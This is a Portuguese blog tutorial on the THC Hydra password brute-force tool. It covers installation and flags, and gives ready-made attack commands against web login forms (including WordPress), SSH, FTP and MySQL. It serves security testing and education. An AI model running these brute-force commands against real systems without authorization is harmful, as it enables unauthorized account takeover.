Brute force com THC Hydra
- Gustavo Viana
- Linux , Segurança da informação
- 27 de setembro de 2021
[THC Hydra][1] é uma poderosa ferramenta para Brute Force, capaz de realizar ataques de força bruta em diversos serviços, tais como SSH, FTP, HTTP, HTTPS, MSSQL, etc.
Pelo fato de poder controlar a quantidade de threads, os brute forces realizados por esta ferramenta são muito eficientes em alvos que não possuem recursos de defesa como Fail2ban ou IPS.
Instalação das dependências
sudo apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev libmemcached-dev libgpg-error-dev libgcrypt11-dev libgcrypt20-dev
Instalação do THC Hydra
Método 1: Através de apt-get:
sudo apt-get install hydra
Método 2: Compilando do github:
sudo apt-get install git
git clone https://github.com/vanhauser-thc/thc-hydra
cd thc-hydra
./configure
make
make install
Argumentos para execução
- -L [arquivo contendo lista de usuários]
- -l [usuário único a ser enviado]
- -P [arquivo contendo lista de senhas]
- -p [senha única a ser enviada]
- -t [número de threads]
- -M [arquivo contendo lista de hosts/alvos]
- -s [porta do serviço - caso o alvo não utilize a padrão]
- -v Método verbose
- -V Mostrar todas tentativas de autenticação
- -W [Tempo a ser aguardado entre requisições]
- -f Para o brute force após identificar um usuário válido (por host caso use -M)
- -F Para o brute force após identificar um usuário válido em qualquer host (usar apenas em conjunto com -M)
Abaixo está um exemplo de execução de um brute force do tipo http-post-form:
Como executar um Brute Force
HTTP/HTTPS
Para realizar um brute force HTTP/HTTPS é preciso se atentar a request/payload exato, pois será necessário identificar o nome dos parâmetros (como username ou password). O nome dos parâmetros esperados variam de aplicação para aplicação.
É altamente recomendada a utilização do Burp Suite ou qualquer outro Proxy que permita que você analise um exemplo de requisição/tentativa de login.
hydra -L users.txt -P passwords.txt site.com.br http-post-form "/login.php:Username=^USER^&Password=^PASS^&Submit=Login:S=302"
No exemplo acima, o S=302 representa a ação de sucesso esperada. Neste caso, se o servidor responder com um Redirect 302.
OBS: Caso o site utilize HTTPS, pode-se utilizar o módulo https-post-form.
HTTP/HTTPS (Exemplo de Brute Force no WordPress)
hydra -L usuarios.txt -P senhas.txt [IP ou Hostname] -V https-form-post "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location"
SSH
hydra -L users.txt -P passwords.txt -t 1 -f [IP ou Hostname] ssh
FTP
hydra -L users.txt -P passwords.txt -t1 -f [IP ou Hostname] ftp
MYSQL
hydra -L users.txt -P passwords.txt -t1 -f [IP ou Hostname] mysql
Como configurar um proxy no Hydra
Caso haja necessidade de suas requisições passarem por um proxy, basta executar o comando abaixo (Sendo 127.0.0.1:8080 o proxy):
export HYDRA_PROXY_HTTP=127.0.0.1:8080
Por fim, agradecemos a leitura e esperamos que este post tenha te ajudado de alguma maneira! Caso tenha alguma dúvida, entre em contato conosco pelo Telegram , Facebook ou Instagram ! Veja mais posts no IronLinux !